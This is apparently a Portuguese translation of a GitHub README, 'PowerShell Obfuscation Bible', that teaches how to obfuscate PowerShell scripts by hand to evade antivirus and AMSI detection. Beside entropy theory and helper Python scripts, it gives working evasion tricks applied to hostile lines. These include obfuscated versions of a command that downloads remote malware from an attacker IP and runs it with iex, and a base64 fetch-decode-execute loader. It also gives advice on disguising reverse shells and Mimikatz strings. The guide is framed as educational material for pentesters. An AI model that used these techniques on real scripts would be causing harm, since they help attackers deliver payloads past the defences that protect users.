
A collection of techniques, examples and a little bit of theory for manually obfuscating PowerShell scripts to achieve AV evasion, compiled for educational purposes. The contents of this repository are the result of personal research, including reading materials online and conducting trial-and-error attempts in labs and pentests.
Uma coleção de técnicas, exemplos e um pouco de teoria para ofuscar manualmente scripts PowerShell a fim de contornar detecção baseada em assinaturas, compilada para fins educacionais. O conteúdo deste repositório é resultado de pesquisa pessoal, incluindo leitura de materiais online e tentativas de tentativa e erro em laboratórios e testes de penetração. Você não deve tomar nada como garantido.
Apresentação em vídeo no YouTube: youtube.com/watch?v=tGFdmAh_lXE
⚠️ Aviso legal: O uso das técnicas e conceitos descritos neste repositório para obter acesso não autorizado a sistemas que você não tem permissão para testar é ilegal. Você é responsável pelas suas ações. Não seja mau.
O termo científico entropy, geralmente definido como a medida da aleatoriedade ou desordem de um sistema, é importante na evasão de AV. Isso porque malware frequentemente contém código altamente randomizado, criptografado e/ou codificado (ofuscado) para dificultar a análise e, portanto, a detecção. Como um dos vários métodos, os produtos antivírus usam análise de entropia para identificar arquivos e payloads potencialmente maliciosos.
É importante entender esse conceito porque, ao ofuscar código, você deve ter em mente a variação de entropia criada pelas mudanças que escolher fazer. Quebrar assinaturas é fácil, mas se você não prestar atenção ao nível de entropia, AVs/EDRs sofisticados perceberão.
Um princípio a ter em mente: Quanto maior a entropia, maior a probabilidade de os dados serem ofuscados ou criptografados, e maior a probabilidade de o arquivo/payload ser malicioso. Felizmente, existem maneiras de reduzi-la.
Claude E. Shannon apresentou uma fórmula em seu artigo de 1948 A Mathematical Theory of Communication que pode ser usada para medir a entropia em um conjunto de dados. Aqui está uma implementação simples em Python da Shannon Entropy que você pode usar para medir a entropia dos payloads que desenvolver:
#!/bin/python3
# Usage: python3 entropy.py <file>
import math, sys
def entropy(string):
"Calculates the Shannon entropy of a UTF-8 encoded string"
# decode the string as UTF-8
unicode_string = string.decode('utf-8')
# get probability of chars in string
prob = [ float(unicode_string.count(c)) / len(unicode_string) for c in dict.fromkeys(list(unicode_string)) ]
# calculate the entropy
entropy = - sum([ p * math.log(p) / math.log(2.0) for p in prob ])
return entropy
f = open(sys.argv[1], 'rb')
content = f.read()
f.close()
print(entropy(content))
Você também pode usar esta calculadora de entropia de Shannon online ou o Sigcheck.exe da Microsoft com a opção -a.
A atitude madura e elegante antes de partir para testes de ofuscação por tentativa e erro para criar uma variação de payload que não seja sinalizada é identificar a(s) parte(s) de um script que disparam a detecção de malware. Especialmente em scripts curtos, como comandos de C2, você pode conseguir fazer alterações insignificantes e sair do radar imediatamente.
Uma ótima ferramenta para identificar esses gatilhos é o AMSITrigger. Aqui está um exemplo de uso com um arquivo contendo um script malicioso. A área vermelha indica a parte em que a ofuscação deve ser aplicada:

Você também pode identificar gatilhos manualmente executando um script trecho por trecho.
Ao ofuscar scripts, deve ser prioridade substituir nomes de variáveis/classes/funções por nomes aleatórios. Dessa forma, em combinação com outras técnicas, você conseguirá contornar a detecção facilmente. Mas você deve ter em mente a entropia dos payloads que desenvolver. Considere o seguinte script padrão de reverse shell, geralmente detectado pela maioria, senão todos, os AVs:

Agora considere a seguinte versão ofuscada:

Nesta versão, todos os nomes de variáveis foram substituídos por nomes aleatórios de 32 caracteres. Também substituí (pwd).Path por $(gl). O payload tem uma Shannon entropy de 4.96. No momento em que escrevo isto, ele não é detectado pelo MS Defender e por um monte de outros produtos:

Agora considere esta versão:

Esta variação também tem todos os nomes de variáveis substituídos, mas desta vez por nomes compostos por um número x de caracteres 'f', o que resulta em uma queda significativa da entropia do payload. Também substituí (pwd).Path por $(gl) aqui. Novamente, no momento em que escrevo, ele não é detectado pelo MS Defender. O payload tem uma Shannon entropy de 0.76.

⚡ Ambas as variações contornam AVs comuns, mas a segunda tem uma entropia menor e provavelmente terá mais chances ao ser processada por EDRs e outros mecanismos antimalware sofisticados. ⚠️ Não estou dizendo que o melhor desempenho da segunda variação de payload neste exemplo se deve certamente ao nível de entropia (não posso realmente saber; poderia ter sido o comprimento, ou ambos, ou quem sabe o quê), mas é um aspecto importante a ter em mente ao ofuscar coisas, e este exemplo visa destacar esse conceito.
Você pode usar o script abaixo para randomizar os nomes de variáveis em um script PowerShell. ⚠️ O script não é perfeito! Se você executá-lo em scripts PowerShell grandes e complexos, ele pode quebrar a funcionalidade deles ao substituir coisas que não deveria. Use-o com cautela e atenção.
#!/bin/python3
#
# This script is an example. It is not perfect and you should use it with caution.
# Source: https://github.com/t3l3machus/PowerShell-Obfuscation-Bible
# Usage: python3 randomize-variables.py <path/to/powershell/script>
import re
from sys import argv
from uuid import uuid4
def get_file_content(path):
f = open(path, 'r')
content = f.read()
f.close()
return content
def main():
payload = get_file_content(argv[1])
used_var_names = []
# Identify variables definitions in script
variable_definitions = re.findall('\$[a-zA-Z0-9_]*[\ ]{0,}=', payload)
variable_definitions.sort(key=len)
variable_definitions.reverse()
# Replace variable names
for var in variable_definitions:
var = var.strip("\n \r\t=")
while True:
new_var_name = uuid4().hex
if (new_var_name in used_var_names) or (re.search(new_var_name, payload)):
continue
else:
used_var_names.append(new_var_name)
break
payload = payload.replace(var, f'${new_var_name}')
print(payload + '\n')
main()
É super divertido e fácil substituir valores $True e $False por outros equivalentes booleanos, que são literalmente ilimitados. Especialmente se você identificou o gatilho de detecção em um determinado payload e ele inclui um valor $True ou $False, provavelmente conseguirá contornar a detecção simplesmente substituindo-o por um substituto booleano. Todos os exemplos abaixo avaliam como True. Você pode invertê-los para False simplesmente adicionando um ponto de exclamação antes da expressão (por exemplo, ![bool]0x01):
0, Null ou uma string vazia retornará True:[bool]1254
[bool]0x12AE
[bool][convert]::ToInt32("111011", 2) # Converts a string to int from base 2 (binary)
![bool]$null
![bool]$False
[bool]"Any non empty string"
[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/-12354893) # Boolean typecast of a negative number
[bool](12 + (3 * 6))
[bool](Get-ChildItem -Path Env: | Where-Object {$_.Name -eq "username"})
[bool]@(0x01BE)
[bool][System.Collections.ArrayList]
[bool][System.Collections.CaseInsensitiveComparer]
[bool][System.Collections.Hashtable]
# Well, you get the point.
True:[bool][bool]
[bool][char]
[bool][int]
[bool][string]
[bool][double]
[bool][short]
[bool][decimal]
[bool][byte]
[bool][timespan]
[bool][datetime]
True (óbvio):(9999 -eq 9999)
([math]::Round([math]::PI) -eq (4583 - 4580))
[Math]::E -ne [Math]::PI
True dos atributos de um objeto:$x = [System.Data.AcceptRejectRule].Assembly.GlobalAssemblyCache
$x = [System.TimeZoneInfo+AdjustmentRule].IsAnsiClass
$x = [mailaddress].IsAutoLayout
$x = [ValidateCount].IsVisible
True ou False:[bool](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/!%5Bbool%5D$null)
[System.Collections.CaseInsensitiveComparer] -ne [bool][datetime]'2023-01-01'
[bool]$(Get-LocalGroupMember Administrators)
!!!![bool][bool][bool][bool][bool][bool]
Você pode ofuscar cmdlets adicionando aspas simples e/ou duplas entre seus caracteres, desde que não seja no início. É super eficaz! Por exemplo, a expressão iex "pwd" pode ser substituída por:
i''ex "pwd"
i''e''x "pwd"
i''e''x'' "pwd"
ie''x'' "pwd"
iex'' "pwd"
i""e''x"" "pwd"
ie""x'' "pwd"
# and so on... but also:
i''ex "p''wd"
i''e''x "p''w''d"
i''e''x'' "p''w''d''"
ie''x'' "pw''d`"`""
iex'' "p`"`"w`"`"d`"`""
i""e''x"" "p`"`"w`"`"d''"
ie""x'' "p`"`"w''d`"`""
# You get the point.
Isso é um pouco sujo, mas pode ser útil. Em um terminal Windows CMD, é possível inserir o símbolo de acento circunflexo (^) entre os caracteres de um comando e ele ainda será interpretado normalmente. Em um script PowerShell, uma maneira de utilizar isso seria:
cmd /c "who^am^i"

Um truque muito legal que meu amigo e poderoso haxor Karol Musolff (@kmusolff) me mostrou. Você pode usar Get-Command (ou gcm) para recuperar o nome (string) de qualquer comando, incluindo todos os arquivos não PowerShell na variável de ambiente Path ($env:Path), usando curingas. Você pode então executá-los como jobs com o operador &. Por exemplo, a seguinte linha:
Invoke-RestMethod -uri https://192.168.0.66/malware | iex
Poderia ser ofuscada para:
&(Get-Command i????e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Ou, ainda melhor, esta aqui, que tem um valor de Shannon entropy mais baixo:
&(Get-Command i************************************************************e-rest*) -uri https://192.168.0.66/malware | &(gcm i*x)
Existem certos loops que podem ser substituídos por outros tipos de loops ou funções. Por exemplo, um loop While ($True){ # some code } pode ser substituído pelo seguinte:
Um loop For infinito
For (;;) { # some code }
Um loop Do-While
Do { # some code } While ($true)
Um loop Do-Until
Do { # some code } Until (1 -eq 2)
Uma função recursiva
function runToInfinity {
# do something;
runToInfinity;
}
Você pode tentar adicionar parâmetros a um cmdlet. Por exemplo, a seguinte linha:
iex "whoami"
Poderia ser expandida para:
iex -Debug -Verbose -ErrorVariable $e -InformationAction Ignore -WarningAction Inquire "whoami"
Você pode, é claro, tentar o oposto.
Você pode "poluir" um script com variáveis e funções aleatórias. Considere o seguinte script como malicioso:
$b64 = $(irm -uri http://192.168.0.66/malware);
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));
iex $virus;
Você pode conseguir quebrar a assinatura dele fazendo algo como:
$b64 = $(irm -uri http://192.168.0.66/malware); sleep 0.01;sleep 0.01;Get-Process | Out-Null;
$virus = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($b64));sleep 0.01;sleep 0.01;Measure-Object | Out-Null;
iex $virus;
Você pode sempre procurar comandos ou até blocos de código inteiros em um script que possam ser substituídos por componentes com a mesma funcionalidade ou similar. No seguinte script clássico de reverse shell, o comando pwd é usado para recuperar o diretório de trabalho atual e reconstruir o valor do prompt do shell:

A parte (pwd).Path pode ser substituída pelo seguinte pequeno script estranho e nada ortodoxo e, embora ele até inclua pwd, serve ao nosso propósito de quebrar a assinatura mantendo a funcionalidade do script:
"$($p = (Split-Path `"$(pwd)\\0x00\`");if ($p.trim() -eq ''){echo 'C:\'}else{echo $p})"
Existem, é claro, substitutos mais simples para pwd, como gl, get-location e cmd.exe /c chdir, que podem resolver, especialmente em combinação com outras técnicas.
Não há limites para o que se pode fazer com strings. Veja abaixo alguns conceitos interessantes. Os exemplos usam a string 'malware':
Ao custo de adicionar algumas linhas novas, você pode transformar uma string em uma here-string.
Isto:
$x = 'echo malware';
iex $x;
É o mesmo que:
$x = 'echo malware';
iex @"
$x
"@
$x="Your string reversed".ToCharArray(); [array]::reverse($x); $x -join ""
Bem direto ao ponto e clássico:
'mal' + 'w' + 'ar' + 'e'
Adicione o valor desejado entre uma string irrelevante e use substring() para extraí-lo com base nos índices inicial e final:
'xxxmalwarexxx'.Substring(3,7)
Crie uma string lixo e substitua-a pelo valor desejado por meio de correspondência regex:
'a123' -replace '[a-zA-Z]{1}[\d]{1,3}','malware'
Codifique sua string e decodifique-a dentro do script:
[System.Text.Encoding]:https://raw.githubusercontent.com/t3l3machus/powershell-obfuscation-bible/HEAD/:Default.GetString(%5BSystem.Convert%5D::FromBase64String(%22bWFsd2FyZQ==%22))
"$([char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6d)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x6c)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x77)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x61)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x72)+[char](https://github.com/t3l3machus/powershell-obfuscation-bible/blob/HEAD/%5Bbyte%5D0x65))"
Isso é só para começar. Continua...
Ofuscar um script anexando comentários aqui e ali pode, na verdade, resolver sozinho.
por exemplo, um comando de reverse shell poderia ser ofuscado assim:

<# Suspendisse imperdiet lacus eu tellus pellentesque suscipit #> em vários lugares)
Isso não só funcionará, como também reduzirá o valor de Shannon entropy do payload (desde que você não use comentários aleatórios complexos).
Existem strings com cara de malware que disparam o AMSI imediatamente e deve ser prioridade substituí-las ao ofuscar scripts. Veja isto:

Apenas digitar a string 'invoke-mimikatz' no terminal faz o AMSI ter um treco (o script nem está presente/carregado).
Essas strings também podem ser encontradas em comentários, então é uma boa ideia removê-las, especialmente de recursos FOS que você pega da internet (por exemplo, Invoke-Mimikatz.ps1 do GitHub).
*Geralmente é uma boa ideia remover comentários. Isso foi apenas um exemplo.
Provavelmente o truque mais antigo do livro. Randomizar maiúsculas e minúsculas de cmdlets e parâmetros pode ajudar:
inVOkE-eXpReSSioN -vErbOse "WHoAmI /aLL" -dEBug
Às vezes, simplesmente mover variáveis e classes para locais diferentes pode funcionar, especialmente se você encontrou o gatilho de detecção e ele inclui alguma definição de variável que poderia estar ocorrendo em outro lugar, como no início do script.
Às vezes, é possível obter evasão de AV simplesmente executando um script malicioso linha por linha. Isso pode, é claro, ser desafiador de realizar dadas as circunstâncias. Caso tente, esteja ciente de blocos de script que precisam ser executados como um todo (por exemplo, loops, blocos try-catch, declarações condicionais, definições de função etc). Para testar isso, você pode pegar um script comum de reverse shell do PowerShell (sem ofuscação aplicada) e executá-lo linha por linha. Ele é sinalizado? ;)